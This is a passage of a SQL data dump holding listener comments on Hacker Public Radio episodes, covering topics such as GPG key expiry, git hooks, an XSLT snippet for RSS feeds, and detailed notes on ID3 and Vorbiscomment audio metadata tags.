(723,1347,'2013-10-01 12:17:46','Steve Kimber','','I wanted to listen to your previous three podcasts, before listening to the latest episode, having been out of the loop for nearly a year.\r\n\r\nI\'m glad I did, this is a very good series so far and extremely interesting to see and hear your progress, I also find the musical interludes very cool too, can\'t wait for the next one','2017-09-09 07:41:24'),
(724,1347,'2013-10-01 13:08:14','klaatu','Fascinating!','I love this insight into the creative process, thank you! Also, really cool find in Impro-Visor; I\'d not heard of it before. Thank you again!','2017-09-09 07:41:24'),
(725,1347,'2013-10-30 00:58:11','CPrompt','Nice show!','Loved the show.  Good explanation on how you put it together.  \r\n\r\nI would love to hear some of your recordings if you have any!\r\n\r\nThanks for the show.','2017-09-09 07:41:24'),
(726,1350,'2013-10-21 11:54:03','pokey','Excellent show.','I loved this episode. I don\'t know much about coding, but I love that you documented all the different steps that you took in building your project. I imagine that ONICS has the potential to be a very powerful tool for networking and security experts.\r\n\r\nI love that you gave us all the opportunity to experience this project at it\'s inception. So many of the tools that we use and admire have great stories behind them, and I\'ve wondered what it would have been like to be there at the beginning. Would we have been able to contribute feedback or suggestions or even just encouragement? Would we have recognized their importance without the benefit of hindsight? I think I know the answer now.\r\n\r\nThank you, Gabriel, for taking the time to share ONICS with us, and for making an episode of HPR about it. It was a delight to listen to. ','2017-09-09 07:41:24'),
(727,1350,'2013-10-24 05:48:19','Gabriel Evenfire','Thanks!','Well, thank you for the encouragement and support.  It does make a difference.  In any case, I\'m glad that the podcast was worth listening to.  Now that I\'ve done a \"first\" show, subsequent ones should be less of mental hurdle.','2017-09-09 07:41:24'),
(728,1350,'2013-10-30 14:21:16','gerryk','Awesome!','Hi Gabriel... thanks for an awesome show, and an amazing set of tools. I have cloned the repo\'s, and am just trying to find the time to have a play.','2017-09-09 07:41:24'),
(729,1352,'2013-10-08 04:27:38','Stephen','so we are the test subjects?','Do I get two marshmallows for listening to the entire 1.3 hours of ambient sound of walking around by a highway? ;-) ','2017-09-09 07:41:24'),
(730,1352,'2013-10-08 21:28:30','wrl','','I laughed so hard when my gPodder downloaded this. I thought waiting for actual content was just to prove a point, then I realized it was just a mistake.','2017-09-09 07:41:24'),
(731,1352,'2013-10-11 07:52:38','Ken Fallon','What was that ?','At 1:04 in it sounded very much like relief ?','2017-09-09 07:41:24'),
(732,1352,'2013-10-12 12:13:10','Epicanis','Also, huge bitrate','Ogginfo reports that the file is a 500kbps vorbis file. What the heck happened?\r\n\r\nI was also expecting this to be some kind of \"meta\" thing, with the real content popping up in the middle or the end as a virtual second-marshmallow for listening to a phone rattling around for an hour and a half in a pocket or backpack or wherever it is.\r\n\r\nYou owe us two marshmallows, Zachary De Santos!','2017-09-09 07:41:24'),
(733,1352,'2013-10-13 15:18:11','Ken Fallon','huge bitrate','The huge bitrate would be my poor encoding. \r\n\r\nSo I guess, it\'s I who owes you a marshmallow.\r\n\r\nKen.','2017-09-09 07:41:24'),
(734,1352,'2013-10-13 16:47:27','Epicanis','Mind you, the sound quality was fantastic...','I must say, the reproduction at 500kbps Vorbis was flawless.  You know, though, you could have gotten the same quality out of a mere 200kbps or so opus file. :-)\r\n\r\nIf you do find yourself reimbursing us for the marshmallows we are owed, you should at least get Zachary De Santos to cover half of them, since it was, after all, his idea/fault.','2017-09-09 07:41:24'),
(735,1357,'2013-10-15 18:19:26','Frank','','I found the minimalism, as well as the acknowledgement that there can be life without a constant internet connection, absolutely delightful.','2017-09-09 07:41:24'),
(736,1357,'2013-10-21 13:57:54','klaatu','internet is overrated','I agree. the internet is overrated and being online constantly is more distracting than useful. \r\n\r\nSure, there are times when it\'s maddening not to have an internet connection because you need something and you need it /now/ but, generally speaking, it can all wait until you check back in with the internet, download the infos you need, and then log off and get back to work.','2017-09-09 07:41:24'),
(737,1357,'2013-10-22 02:11:22','James Michael DuPont','Thanks','Thank you for your comments, \r\nI look forward to sharing more stories with you.\r\nmike','2017-09-09 07:41:24'),
(738,1358,'2013-10-16 17:36:46','theru','','it is probably a good idea to have the key expire. I imagine there is a lot of keys out there where people did generate a key and then forgot what their passphrase was. \r\n\r\nAlso when you generate the key make a revocation cert. If you lose the key or it gets compromised you can then revoke the key. ','2017-09-09 07:41:24'),
(739,1358,'2013-10-21 13:54:57','klaatu','good point, theru','Yes, I had never thought about that use of expiry dates. Thanks.\r\n\r\nI also never thought to make the revocation cert at the time of key generation. That\'s a good idea.\r\n\r\nThanks for listening and thanks for the tips!','2017-09-09 07:41:24'),
(740,1358,'2013-10-22 17:05:33','Bert','','I\'m pretty sure that encryption is done only with the recipient\'s public key. You want to use your own private key to save a copy in your \'sent\' folder, though. Evolution wants the sender\'s public key but that is AFAIK just a quirk that is specific to Evolution.\r\nGreat show!! I would like more people to get into gpg signing and encrypting messages.','2017-09-09 07:41:24'),
(741,1358,'2013-11-04 16:01:45','theru','a bit for the tinfoilhats ','found this site on Hackernews some nice tips in there\r\nhttps://we.riseup.net/riseuplabs+paow/openpgp-best-practices','2017-09-09 07:41:24'),
(742,1359,'2013-10-17 18:48:11','Ken Fallon (as host)','How to quit smoking','As a reminder to anyone listening to this show, I covered stopping smoking in episode 145.\r\n\r\nhttps://hackerpublicradio.org/eps.php?id=0145\r\n\r\nKen.\r\n','2022-02-14 13:16:36'),
(743,1359,'2013-10-18 05:58:22','etalas','I enjoyed this one','Probably b/c my dad smoked pipes and it reminded me of some of his habits. And we always had pipe-cleaners (the ones with red and white stripes) lying around ^^','2017-09-09 07:41:24'),
(744,1362,'2013-10-25 16:40:37','Ken Fallon','There is another way','While there usually is another way with perl, this time there is another way with the xslt. This is the xpath will select only the @type where the string is set to \"audio/ogg\" and then only display the first one.\r\n&lt;?xml version=\"1.0\"?&gt;\r\n&lt;xsl:stylesheet xmlns:xsl=\"https://www.w3.org/1999/XSL/Transform\" xmlns:exslt=\"https://exslt.org/common\" xmlns:content=\"https://purl.org/rss/1.0/modules/content/\" xmlns:wfw=\"https://wellformedweb.org/CommentAPI/\" xmlns:dc=\"https://purl.org/dc/elements/1.1/\" xmlns:atom=\"https://www.w3.org/2005/Atom\" xmlns:sy=\"https://purl.org/rss/1.0/modules/syndication/\" xmlns:slash=\"https://purl.org/rss/1.0/modules/slash/\" xmlns:georss=\"https://www.georss.org/georss\" xmlns:geo=\"https://www.w3.org/2003/01/geo/wgs84_pos#\" xmlns:media=\"https://search.yahoo.com/mrss/\" version=\"1.0\" extension-element-prefixes=\"exslt\"&gt;\r\n  &lt;xsl:output omit-xml-declaration=\"yes\" indent=\"no\" method=\"text\"/&gt;\r\n  &lt;xsl:template match=\"/\"&gt;\r\n    &lt;xsl:for-each select=\"/rss/channel/item/enclosure[@type=&quot;audio/ogg&quot;][1]\"&gt;\r\n      &lt;xsl:call-template name=\"value-of-template\"&gt;\r\n        &lt;xsl:with-param name=\"select\" select=\"@url\"/&gt;\r\n      &lt;/xsl:call-template&gt;\r\n      &lt;xsl:value-of select=\"\'&#10;\'\"/&gt;\r\n    &lt;/xsl:for-each&gt;\r\n  &lt;/xsl:template&gt;\r\n  &lt;xsl:template name=\"value-of-template\"&gt;\r\n    &lt;xsl:param name=\"select\"/&gt;\r\n    &lt;xsl:value-of select=\"$select\"/&gt;\r\n    &lt;xsl:for-each select=\"exslt:node-set($select)[position()&gt;1]\"&gt;\r\n      &lt;xsl:value-of select=\"\'&#10;\'\"/&gt;\r\n      &lt;xsl:value-of select=\".\"/&gt;\r\n    &lt;/xsl:for-each&gt;\r\n  &lt;/xsl:template&gt;\r\n&lt;/xsl:stylesheet&gt;\r\n','2022-07-15 03:50:57'),
(745,1364,'2013-10-29 16:24:21','Frank','','This was fascinating.\r\n\r\nI\'m old enough to remember party lines.  There were teen-aged girls in the house on the corner--getting a line was always an adventure.','2017-09-09 07:41:24'),
(746,1367,'2013-10-30 22:05:16','Windigo','Gotta love git hooks','Excellent episode! I use git hooks (post-commit) to automatically push any commits to a dev server back into the main repository, and it\'s been a life saver.\r\n\r\nI didn\'t realize you could cancel a commit with the right exit code, though - thanks for the tip!','2017-09-09 07:41:24'),
(747,1367,'2013-11-03 12:06:58','CPrompt','The most interesting coder...','Nice episode jezra!  \r\n\r\nHere\'s ya t-shirt :\r\nhttps://www.thinkgeek.com/product/f141/','2017-09-09 07:41:24'),
(748,1367,'2013-11-06 16:34:41','jezra','golden!','That shirt is awesome! Unfortunately, I think Dan would kill me if I wore that to work. ','2017-09-09 07:41:24'),
(749,1370,'2013-11-01 19:56:38','Windigo','Excellent first episode!','First of all, congrats on making the transition to contributor!\r\n\r\nI\'ve always been a little curious about static publishing. I\'m aware of the various technologies involved separately, but didn\'t know much about how they\'re used together to publish sites.\r\n\r\nThanks for the introduction, and extensive site notes. When I finally get up the motivation to try it out, I\'m starting here. :)','2017-09-09 07:41:24'),
(750,1370,'2013-11-04 06:23:10','Tony Pelaez','Re: Excellent first episode!','Thanks for your feedback @Windigo, listening back to this episode, I think I could have included greater detail in the audio.  I hope to have time to create an accompanying screencast soon.  That being said, the commands you see above will get you up and running with a website on github.  It also helps you get your mind around how this is done if you have a little knowledge of standard ruby tools such as \"rake\" and \"rubygems\".\r\n\r\n','2017-09-09 07:41:24'),
(751,1371,'2013-12-01 02:58:44','Epicanis','I realize it\'s a typo, but I like it...','\"Equipment that is nice to have to do a Linux Feast\"\r\n\r\nActually, a \"Linux Feast\" sounds pretty dang appealing. \r\n\r\nPerhaps at NELF2014, instead of a loud boozy \"after-party\" we could have a proper feast.\r\n(Do we have enough food-competent geeks and/or nerds going to NELF2014 that we could put on an OPEN-SOURCE feast?)','2017-09-09 07:41:24'),
(752,1371,'2014-02-19 01:30:29','pokey','linux feast','well, I can make eggs...','2017-09-09 07:41:24'),
(753,1377,'2013-11-14 21:13:22','sgtron','awesome review','Thanks, Frank. Loved the review. Checked out the website. Nice tablet at great price. If I had better access to wifi it would be a no-brainer, but since I\'m out and about so much I\'ll have to stick with my 4G phone for now. ','2017-09-09 07:41:24'),
(754,1377,'2013-11-15 02:52:01','julian loui','','Thanks for a very lucid informative talk, Frank.  \r\nListening to it make me feel as though I were at   the November TWUUG meeting, which I couldn\'t attend. \r\n\r\nJulian\r\n','2017-09-09 07:41:24'),
(755,1377,'2013-11-23 02:52:18','Frank Bell','','Thank you for the kind words.\r\n\r\nI did a little experimenting when I was trapped in place without wireless last Saturday; I was able to tether the tablet to the hotspot from my cell phone quite smoothly.\r\n\r\nI am, quite frankly, enjoying the heck out of this device, far more than I ever expected to.','2017-09-09 07:41:24'),
(756,1386,'2013-11-27 00:39:41','Quvmoh','great interview','although it was disappointing that the first order of business was to have a meeting on who to exclude from the paper :-( . look forward to the book.   ','2017-09-09 07:41:24'),
(757,1387,'2013-11-10 22:36:55','Underruner','','Thank you hacker public radio for the opertunity to contribute.','2017-09-09 07:41:24'),
(758,1387,'2014-06-27 00:30:29','pokey','Awesome show','I\'m way behind in all of my podcast listening, but I\'m trying to catch up. I just listened to this episode, and I was blown away.  First at how creative you are, and also at how accurately you were able to describe everything that you did. I have the world\'s worst visual imagination, but I was able to picture everything that you described. I\'m very impressed that you were not intimidated by the programming of the Arduino, because I would have been. I thoroughly enjoyed what you said when you went off script as well. Bravo to you.\r\n\r\nMy only criticism is that I think your breakers are too big. if you ever drew 20 Amps of power through either circuit you would burn up your 14Gauge bus. You may wish to add fuses to your box or replace the 20 Amp breakers with 10 Amp breakers.\r\n\r\nWhen you get to the point of being able to choreograph your lights to music plase, please, PLEASE do the HPR song (or at least The Free Software Song). \r\n\r\nThank you for a great episode. It\'s going on my all-time favorites list.','2017-09-09 07:41:24'),
(759,1388,'2013-11-20 01:26:17','sigflup','corrections','Hey, this is sigflup. I\'ve since learned that every function call is an event in the event loop inside the javascript vm. This means that functions aren\'t concurrently being processed like I thought they were in the podcast. Happy hacking','2017-09-09 07:41:24'),
(760,1390,'2014-06-27 00:45:45','pokey','Loved it','I really enjoyed this episode. Not only do you have a \"phone book quality\" voice (verifiable), but you also filled in several blank spaces in my understanding of encryption. I have a much better understanding now than before I listened. Thank you for another great episode.','2017-09-09 07:41:24'),
(761,1392,'2013-12-19 12:56:21','pokey','Thank you','I never look up, but last night I listened to your episode on my way home from work. You inspired me to up and see if I could locate the moon. It was just about sunset, and the only thing that I could see was one absurdly bright point in an otherwise gray sky. My first thought was \"Oh, that must be the north star,\" since that\'s usually the first one to show up. But then I realizes that I was looking South (roughly), and the sky was brightest where the light was coming from, so it probably couldn\'t be a star. Right about the time that I was wondering if it could have been a satellite, you began to talk about the inner planets being visible, and appearing near the sun. From your descriptions I guessed that it must be Venus. I even got my binoculars (well, monocular, since a lens fell out) out and had a look that way. A quick search this morning verified that it was probably Venus. It was fun, and you inspired it, so thank you. I can\'t wait for the next installment. ','2017-09-09 07:41:24'),
(762,1393,'2013-12-05 14:27:43','Ace Frahm','','At 17:51, you incorrectly state that each person heard on the track should have their own Artist tag.  Artist is a singleton tag, according to the specification.\r\nhttps://age.hobba.nl/audio/mirroredpages/ogg-tagging.html\r\n\r\nEach performer should have their own PERFORMER tag, and the ARTIST tag would simply summarize all PERFORMER and ENSEMBLE (that\'s a band name, or orchestra, or group, etc.) tags, for dumber software/hardware that can\'t easily show them separately.','2022-02-14 13:16:36'),
(763,1393,'2013-12-05 16:11:08','Ace Frahm','','From Hacker Public Radio 1393\r\n\r\nFailure to include metadata tags is like sending e-Mail without any text on the subject line\r\n\r\noggenc does NOT transfer attached pictures from flac input (though it DOES transfer all vorbiscomment metadata. FLAC stores attached pictures in a separate metadata structure so oggenc misses it. opusenc - at least in recent beta versions - DOES appear to transfer the attached pictures as well as the vorbiscomments, though. Another reason to upgrade to opus, I suppose...) \r\n\r\nThe 2 Most Important Meta-tag Systems\r\nID3 Version 2.3\r\n&#9;.mp3 files\r\nVorbiscomments\r\n&#9;.opus\r\n&#9;ogg vorbis\r\n&#9;.flac\r\n&#9;.speex\r\n\r\nwebm/matroska\r\nwindows media\r\n.wav \r\n\r\nKID3-CLI 3.0 is a post-encoding metadata editor available on many platforms.  Has a command line version too.\r\n\r\nPuddleTag on Linux for sure, Mac unofficially &amp;amp; possibly on Windows, supports multiple attached pictures &amp;amp; modern file formats, good for editing whole directories at once.\r\n\r\nLinux command line tag editors\r\nMPG123-ID3dump for .mp3 files including attached pictures, comes with MPG123 command line audio player\r\nID3TDD supports multiple pictures, but tags them all as 3-Front Cover\r\nvorbiscomment, but you must generate the METADATA_BLOCK_PICTURE yourself.  Package includes ogginfo tool which displays ogg vorbis metadata\r\nopustools package encoder &amp;amp; decoder, opusinfo displays metadata but doesn\'t dump pictures\r\nexiftool mostly used for photos, but can display metadata from pretty much every media file except for .opus\r\n\r\nThere are lots of media file formats, but the only one that uses ID3v1 or ID3v2.3 metadata tagging system is the .mp3 file format.\r\n&#9;The LAME .mp3 encoder appears to accept only 1 attached picture on the command line.\r\n&#9;.mp4 is an object-oriented file format, kind of like a special version of Quicktime format\r\n&#9;&#9;Quicktime isn\'t a \"filetype\", it\'s a framework.  But it gets used like a filetype.\r\n&#9;The .mp4 specification includes an ID3 data object you could put an entire ID3 header into\r\n&#9;.m4a is the audio version of a .mp4 filetype\r\n&#9;&#9;You might see .m4a files with this ID3 data object populated by a valid ID3 object\r\n&#9;&#9;But .m4a files typically come from iTunes, but Apple uses an undocumented proprietary format for metadata, so you probably won\'t normally see the ID3 object on a .m4a file from Apple\r\nThere are 2 or 3 other undocumented metadata formats you might run into as well (I don\'t know what they are.)\r\n\r\nID3 Version 1 is an UNRELATED bad old format with SERIOUS LIMITATIONS.\r\n&#9;All metadata is crammed into a specialized 128B data structure at the end of an .mp3 file.\r\n&#9;By putting the 128B at the end of an .mp3 file, crappy players that did not understand what it was would probably just interpret it as more sound a play it as some noise, or if your player crashed on the metadata, it would do so at least AFTER you got to hear the file\r\n&#9;30B each of title, artist, album, comment\r\n&#9;4B year\r\n&#9;1B genre code number, which of course, limits the genres to 2^8 = 256 labels, that need to be looked up in a table to find the definition.\r\n&#9;There are ~141 genre codes defined by ID3v1\r\n&#9;None of them are \"podcast\"\r\n&#9;\r\nID3 Version 2.3\r\n&#9;Completely different than ID3v1\r\n&#9;A whole bunch (~75?) of special data fields, each with their own special data structure at the beginning of the file\r\n&#9;Each field has a special 4-character code to identify it, such as TCON for genre or TIT2 for title\r\n&#9;The (~75?) special data fields use (~5-6) different KINDS of special data structures\r\n&#9;&#9;Of these (~75?) special data fields, 39 fields use the text-class kind of special data structure\r\n&#9;&#9;The text-based data fields have the same structure\r\n&#9;&#9;Except for comments, which has its own structure\r\n&#9;&#9;And except for the \"involved persons list\", which is a catch-all text field for stuffing in all the names &amp;amp; roles for everyone else whose role isn\'t defined in one of the other special fields.\r\n&#9;&#9;When you stuff multiple entries into a text field, you separate them with a forward slash \'/\'\r\n&#9;&#9;Attached Picture\r\n&#9;&#9;&#9;Aside from the text-based special data fields above, the only other frame anybody normally uses is the \"attached picture\" field.\r\n&#9;&#9;&#9;Not just a copy of a .jpg file or whatever image format\r\n&#9;&#9;&#9;Specifies a MIME type of picture data\r\n&#9;&#9;&#9;Has a free-form text description of the picture data\r\n&#9;&#9;&#9;You can have multiple \"attached picture\" fields\r\n&#9;&#9;&#9;&#9;Except for 2 \"file icon\" attached picture types, one copy each only\r\n&#9;&#9;&#9;Has a number code to indicate what the picture is supposed to be\r\n&#9;&#9;&#9;&#9;Cover art\r\n&#9;&#9;&#9;&#9;Inside cover\r\n&#9;&#9;&#9;&#9;Liner notes art\r\n&#9;&#9;&#9;&#9;Artist headshots \r\n&#9;&#9;&#9;&#9;Record publisher logo\r\n&#9;&#9;&#9;&#9;Image of the silk-screened CD art on the disc it came from\r\n&#9;&#9;&#9;&#9;Back cover\r\n&#9;&#9;&#9;&#9;A brightly colored fish (the ogg format uses a cartoon fish for its logo, picture type 17)\r\n&#9;&#9;&#9;&#9;etc.\r\n&#9;\"Content Type\" = genre\r\n&#9;The genre field is text in ID3v2, not a number code like ID3v1\r\n&#9;But the ID3v2 specification still suggests adding the ID3v1 genre code number to this field\r\n&#9;Text field TXXX\r\n&#9;&#9;User-defined\r\n&#9;&#9;You can have as many TXXX fields as you want, so long as the descriptions are different\r\n&#9;&#9;A key name\r\n&#9;&#9;A string value\r\n&#9;&#9;Could be used to include vorbiscomments\r\n\r\nID3 Version 2.4\r\n&#9;Don\'t bother using ID3v2.4\r\n&#9;Not widely used\r\n&#9;If Windows won\'t read your files\' tags, maybe someone tagged them with the ID3v2.4 format instead of the ID3v2.3 format.\r\n&#9;Mostly a few backwards-incompatible renamings of a few tags\r\n&#9;A few obscure new tags\r\n&#9;When you stuff multiple entries into a text field, you separate them with a NULL, instead of the forward slash \'/\' used by ID3v2.3\r\n&#9;Chapters\r\n&#9;&#9;There was a 2005 method of stuffing another ID3 header into the first one to make chapter tags, but this was made 5 years after ID3v2.4, which isn\'t used much anyway, and only the BBC ever used it with their own player software, so you should never try to use this either.  If you have to do some archaeology on an old BBC file, you might need to know this.  Otherwise, just use vorbiscomments if you want to make an \"enhanced podcast\" with images that show up during playback like a slideshow, based on the chapter tags.\r\n\r\n.mp3 format only uses ID3 format metadata tags\r\nAll the other file formats we care about use Vorbiscomments\r\nhttps://wiki.xiph.org/Chapter_Extension\r\nhttps://www.linuxcommand.org/man_pages/vorbiscomment1.html\r\nhttps://wiki.xiph.org/VorbisComment\r\nhttps://en.wikipedia.org/wiki/VorbisComment\r\n\r\nVorbiscomments\r\n&#9;All printable characters, must be text characters, no non-printable characters or control codes\r\n&#9;You could search vorbiscomments with grep\r\n&#9;Tag key names are case insensitive\r\n&#9;You can create your own key names\r\n&#9;All tags are OPTIONAL; you can have an ogg file with NO tags present and it will still be compliant\r\n&#9;But there is a recommended standard for common metadata\r\n&#9;&#9;https://age.hobba.nl/audio/mirroredpages/ogg-tagging.html\r\n&#9;&#9;Singleton tags should only appear once\r\n&#9;&#9;&#9;If one of these tags appears more than once (a non-compliant mistake), its last appearance should be displayed if there is only room to display one instance of the tag.\r\n&#9;&#9;Genre should be TEXT not a number\r\n&#9;&#9;You might put comments in the DESCRIPTION field, or make your own \"comment\" tag, although \"comment\" isn\'t in the recommended standard.  You could put the same data in both places, although you\'re duplicating the data.\r\n&#9;&#9;ISRC tag=\"International Standard Recording Code\", a special tracking code for commercial audio recordings \r\n&#9;The chapter comments proposed tags are very similar to codes fed to .matroska tools to create tags for those files\r\n&#9;Replay gain tags could be used/set by user\'s player software to select a relative playback volume for track adjustment, if you like.\r\n&#9;Location supports geo-tagging the track, although what this means isn\'t clear. GEO_LOCATION\r\n&#9;&#9;Is it where the track was recorded?\r\n&#9;&#9;Is it thee location referred to in the content?\r\n&#9;&#9;Is it the location where the intended audience is?\r\n&#9;&#9;Is it a tag that specifies where user\'s device should be when it automatically starts to play?\r\n&#9;&#9;Is it a bunch of waypoints of recordings of chapters you took at different scenic locations in a travelogue?\r\n&#9;Attached pictures are a pain.\r\n&#9;&#9;A visible picture is obviously not text-encoded (other than ASCII art).  Not human readable.\r\n&#9;&#9;Shouldn\'t be in the metadata anyway, should be an independent file inside the container\r\n&#9;&#9;But ogg files don\'t support encapsulation of picture format files in the container\r\n&#9;&#9;And .mp3 files have been including the binary encoded album art pictures for so long, it is standard practice in .mp3 format\r\n&#9;&#9;Encoding a picture inside a vorbiscomments tag involves encoding it as printable text characters.\r\n&#9;&#9;&#9;e-Mail programs have to do this kind of thing too, encoding pictures as text\r\n&#9;&#9;&#9;5 or 10 years ago ( right now is 2013-12-05 ) people were doing this with an obsolete field called \"COVERART\" with the contents of the field being nothing more than the base64 encoded .jpg or .png file\r\n&#9;&#9;&#9;&#9;Don\'t do this now, no one will ever see the cover art\r\n&#9;&#9;&#9;&#9;Nobody ever implemented using this field\r\n&#9;&#9;&#9;&#9;It was replaced long ago by an officially documented structure\r\n&#9;&#9;METADATA_BLOCK_PICTURE is the correct vorbiscomments tag name for a picture.\r\n&#9;&#9;&#9;https://wiki.xiph.org/VorbisComment#Cover_art\r\n&#9;&#9;&#9;A complete Base64 encoded data structure, includes\r\n&#9;&#9;&#9;&#9;Width\r\n&#9;&#9;&#9;&#9;Height\r\n&#9;&#9;&#9;&#9;MIME type\r\n&#9;&#9;&#9;&#9;Description [optional]\r\n&#9;&#9;&#9;&#9;Picture Type number code ( similar to ID3 )\r\n&#9;&#9;&#9;.flac uses vorbiscomments for its metadata\r\n&#9;&#9;&#9;&#9;Except for attached pictures\r\n&#9;&#9;&#9;&#9;Unlike .vorbis, .speex &amp;amp; .opus files, .flac files are not inside .ogg containers.  .flac is its own container format.\r\n&#9;&#9;&#9;&#9;.flac has its own attached picture block, very similar to .mp3 files\r\n&#9;&#9;&#9;&#9;&#9;.flac also calls this tag \"METADATA_BLOCK_PICTURE\"\r\n&#9;&#9;&#9;&#9;&#9;&#9;But it does not have the same format as the vorbiscomments METADATA_BLOCK_PICTURE tag!\r\n&#9;&#9;&#9;.vorbis, .speex &amp;amp; .opus files\r\n&#9;&#9;&#9;&#9;Don\'t have a special metadata block just for attached pictures\r\n&#9;&#9;&#9;&#9;These build a .flac METADATA_BLOCK_PICTURE tag, then Base64 encoded it into text that can be used as a valid vorbiscomment METADATA_BLOCK_PICTURE tag.\r\n&#9;&#9;The .flac &amp;amp; .opus LINUX command line file encoders allow you to include as many attached pictures as you want as switches\r\n&#9;&#9;The LINUX command line ogg vorbis encoder does not allow you to include multiple pictures\r\n&#9;&#9;&#9;BUT, the ogg vorbis encoder does accept .flac files for input\r\n&#9;&#9;&#9;&#9;It will transfer the .flac file\'s metadata to the finished .vorbis file, including any extra pictures that were already in the .flac file\'s metadata\r\n&#9;&#9;So if you make .flac files with complete metadata as the source to work from, you can generate .opus &amp;amp; .vorbis files without editing the metadata further\r\n&#9;&#9;\r\n.mp4 is a Apple Computer Company format.\r\n&#9;If you wanted to create an \"enhanced podcast\" that shows pictures at certain times specified by chapter markers, you\'d have to use special iTunes tags with .mp4 files to make it work, normally only on apple hardware, but WanAMP can also read this format and shows the pictures on a Windows box.\r\n&#9;No one else knows haw to make them, as this is not documented well or supported on most other players.\r\n&#9;You should just use Ogg Vorbis with vorbiscomments that have chapter markers instead.\r\n&#9;\r\n.wav files\r\n&#9;The lowest common denominator for audio files\r\n&#9;Usually lossless PCM audio\r\n&#9;Simple in structure, widely supported\r\n&#9;.wav files support metadata, but they are badly documented\r\n&#9;Audacity can include a limited set of tags in a .wav both as an \"info chunk\", whatever that is, AND as an ID3 tag\r\n&#9;\r\n.webm is a special file format version of .matroska\r\n&#9;.matroska metadata is even worse than ID3\r\n&#9;&#9;Uses ~100 rigidly defined tag names\r\n&#9;.webm uses ~70 of those .matroska tags\r\n&#9;The tags are heavily video-related, seems to presume the .matroska files will only contain movies\r\n&#9;Supposed to be object-oriented\r\n&#9;&#9;Burying some tags inside other tags, such as a \"character\" tag inside an \"actor\" tag\r\n&#9;\"thanks to\" tag is a catch-all for stuff that couldn\'t go anywhere else\r\n&#9;This metadata is tacked onto the end of the file so in theory you don\'t ever need to reincode the video file if you need to change the metadata\r\n&#9;&#9;Streaming media won\'t get the metadata until the entire file is played, unless the whole file is being buffered to the end before playback\r\n&#9;.webm doesn\'t support attached pictures at all\r\n&#9;&#9;.matroska has limited support for attached pictures\r\n&#9;&#9;&#9;Allows a large and a small version of a \"banner graphic\"\r\n&#9;&#9;&#9;Allows a large and a small version of an \"album art graphic\"\r\n&#9;.webm audio files only exist as afterthought to video\r\n&#9;&#9;You could make one with GNU Media Goblin\r\n&#9;&#9;&#9;Useful only as a \"test\"\r\n\r\n.asf or .wma audio files are bad, obscure, Windows media file formats\r\n&#9;.asf=.mp4\r\n&#9;.wma=.m4a\r\n&#9;.wmv=.m4v\r\n&#9;All of these Windows media files are really just .asf format, similar to the way .m4a &amp;amp; .m4v are really just .mp4 format.\r\n&#9;Metadata is limited\r\n&#9;&#9;5 different metadata \"objects\"\r\n&#9;&#9;&#9;Can contain different kinds of metadata\r\n&#9;&#9;&#9;\"content description object\", a very small set of pre-defined metadata fields, 64kB each\r\n&#9;&#9;&#9;&#9;title\r\n&#9;&#9;&#9;&#9;author\r\n&#9;&#9;&#9;&#9;copyright\r\n&#9;&#9;&#9;&#9;description\r\n&#9;&#9;&#9;&#9;rating\r\n&#9;&#9;&#9;\"content branding\" object\r\n&#9;&#9;&#9;&#9;Limited to a single banner image\r\n&#9;&#9;&#9;&#9;album art\r\n&#9;&#9;&#9;&#9;URL for copyright warning stored online\r\n&#9;&#9;&#9;\"extended content description\" object\r\n&#9;&#9;&#9;&#9;Random other metadata\r\n&#9;&#9;&#9;\"metadata\" object\r\n&#9;&#9;&#9;&#9;Seems to be an \"extended metadata content\" object that can refer to just one file inside the .asf container, not just all of them at once\r\n&#9;&#9;&#9;\"metadata library object\"\r\n&#9;&#9;&#9;&#9;Anything else\r\n\r\nNo browsers automatically display audio or video metadata by default, built-in.  The web designer must write code to include this on the page.','2022-02-14 13:16:37'),
(764,1393,'2013-12-06 19:04:43','Epicanis','\"Artist\" tag(s)','Ace Frahm says:\r\n\"At 17:51, you incorrectly state that each person heard on the track should have their own Artist tag. Artist is a singleton tag, according to the specification.\"\r\n\r\nI dispute this - if you go to directly to the actual specification at https://xiph.org/vorbis/doc/v-comment.html, you will find this:\r\n\r\n\"Field names are not required to be unique (occur once) within a comment header. As an example, assume a track was recorded by three well know artists; the following is permissible, and encouraged:\r\n\r\n              ARTIST=Dizzy Gillespie \r\n              ARTIST=Sonny Rollins \r\n              ARTIST=Sonny Stitt\"\r\n\r\nWorth a mention as a \"point of contention\" in a followup though - I\'m less inclined to give broken old software that doesn\'t correctly support the specification a pass, but it is true that an awful lot of software (including VLC) is still stuck in \"one value per tag\" mode.','2022-02-14 13:16:37'),
(765,1393,'2013-12-06 20:22:10','Epicanis','Good summary/questions, Ace Frahm!','Seems like you have enough questions there for a short followup all by yourself! \r\n\r\nJust to hit a couple of random ones here (I\'ll probably try to follow up in audio in the \"opus codec\" episode once I\'ve gotten caught up to that):\r\n\r\nBy \"3 or 4 others\" (metadata formats) besides id3 and vorbiscomments I was referring to RIFF INFO chunks (.wav metadata), webm/matroska tags, .wma microsoft-screwy-thing, and the undocumented special iTunes thing.\r\n\r\nI did count right around 75 individual id3v2.3 field (/frame/tag) names, though I didn\'t go back to confirm the exact number.\r\n\r\nMinor point - I need to enunciate better I think - it\'s \"id3ted\" rather than \"id3tdd\".\r\n\r\nGood question about the geolocation - it\'s \"any of those that are relevant\". For photographs, the geolocation is always assumed to be \"where the photographer was standing when the picture was taken\" and there aren\'t too many cases where any other interpretation makes much sense. (In a telephoto of an obvious landmark it might make sense to geotag with the location of the landmark instead, or for an image of a map, it might make sense to geotag the center of where the map represents). As far as I know, photo geotagging only supports a single geolocation per image as well [not necessarily counting geoTIFF], so options are limited.\r\nWith vorbiscomments explicitly designed to support multiples of all tags, the way I think of it is you put in a geo_location tag for any location that is relevant to the recording: imagine that someone wants to generate openstreetmap (or Google Maps or whatever) pages with markers that go with the audio files. The way I figure it, the geo_location tags should provide the locations of all of the markers that the hypothetical link-maker would want to show. (It\'s probably worth proposing a \"description\" addition to the geo_location tag now that you mention this, though: something like \"geo_location;35.1592;-98.4422;;Nowhere, OK used as example location\"\r\n\r\nAlso, thanks for teaching ME something - I usually tend to think of playback as something that doesn\'t need an internet connection, so I feel stupid for only thinking of web links to relevant pages (what I used the \"chapter###url\" tags for, e.g. the id3v2.3 chapter\'s URL should have been a link to the specification online) and somehow completely missed using it to pull a slideshow from the internet while playing. Now I have to try that... (For me, chapter marks are more about having convenient \"jump to:\" points in the audio.) It\'s worth noting that doing \"fetch pictures from the internet\" like that also makes it a way to put \"web bugs\" in audio files...\r\n\r\n(Finally: I should say I don\'t necessarily disagree with your contention of how one SHOULD use the \"artist\" tag...well, actually I do but less strongly and not because that\'s not what the 